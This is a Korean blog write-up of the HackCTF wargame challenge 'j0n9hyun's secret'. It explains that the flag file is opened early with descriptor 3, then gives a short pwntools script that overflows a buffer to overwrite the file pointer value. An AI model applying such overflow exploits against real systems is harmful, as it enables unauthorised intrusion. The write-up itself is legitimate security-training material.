ugonfor.
Home
  • 분류 전체보기 (86)
    • Study (39)
      • Paper Review (3)
      • 대회 후기 (7)
      • Reversing Skills (5)
      • Develop (1)
      • Pwnable (2)
      • Tips (21)
    • Writeup (39)
      • Wargame_Writeup (31)
      • CTF_Writeup (8)
    • CS (0)
      • Algorithm (0)
      • Operation System (0)
      • Computer Network (0)
    • Etc (8)
      • Life (7)
Home
  • 분류 전체보기 (86)
    • Study (39)
      • Paper Review (3)
      • 대회 후기 (7)
      • Reversing Skills (5)
      • Develop (1)
      • Pwnable (2)
      • Tips (21)
    • Writeup (39)
      • Wargame_Writeup (31)
      • CTF_Writeup (8)
    • CS (0)
      • Algorithm (0)
      • Operation System (0)
      • Computer Network (0)
    • Etc (8)
      • Life (7)
블로그 내 검색
About Me

ugonfor.

보안 위주로 가볍게 작성하였습니다 :)

  • Writeup/Wargame_Writeup

    HackCTF j0n9hyun's secret

    2020. 1. 23.

    by. ugonfor

    메인함수

    flag_함수

    위 처럼 두 함수가 있어서, fp부분을 top_secret이 아니라 flag로 바꿔주면 될듯하다. 그런데 gdb로 까본 결과, fp가 놀랍게도 포인터라서 주소가 쓰여있는 줄 알았는 데 그런게 아니라 4가 쓰여있었다.

    파일 포인터는 주소가 쓰여있는 게 아니라 불러와진 순서? 정도만 쓰여있는 듯. rip를 flag함수로 옮겨보기도 하였는 데 리턴값이 5인 것을 보고 알았음 ㅇㅇ... 

     

    하여튼 그래서 어떻게 할지 고민을 하다가,

    flag가 init함수에 xreference를 두고있어서 올라가보니 처음 start함수가 libc_start_main을 할 때, init함수를 메인함수보다 먼저 호출을 하는 데, 그때 이미 flag가 파일 포인터로 열리게 된다. 즉 flag의 파일 포인터는 3

    #!/usr/bin/python
    from pwn import*
    
    p = remote("ctf.j0n9hyun.xyz",3031)
    #p = process("./j0n9hyun_secret")
    p.sendline("a"*0x138+"\x03")
    p.interactive()
    
    저작자표시 비영리 동일조건 (새창열림)

    'Writeup > Wargame_Writeup' 카테고리의 다른 글

    [Reversing.kr] 6_ImagePrc  (0) 2020.02.05
    [Reversing.kr] 5_Replace.exe  (0) 2020.02.04
    HackCTF Unexploitable #2  (0) 2020.01.23
    [Flare-on 2019] Reloadered  (0) 2020.01.21
    [Flare-on 2019] Snake  (0) 2020.01.21

    댓글

    관련글

    • [Reversing.kr] 6_ImagePrc 2020.02.05
    • [Reversing.kr] 5_Replace.exe 2020.02.04
    • HackCTF Unexploitable #2 2020.01.23
    • [Flare-on 2019] Reloadered 2020.01.21
    맨 위로
전체 글 보기
  • Githug
  • Facebook
  • ugonfor.kr
  • Portfolio
Tistory 로그인
Tistory 로그아웃
로그아웃 글쓰기 관리

Today

Total

Designed by Nana
블로그 이미지
ugonfor

티스토리툴바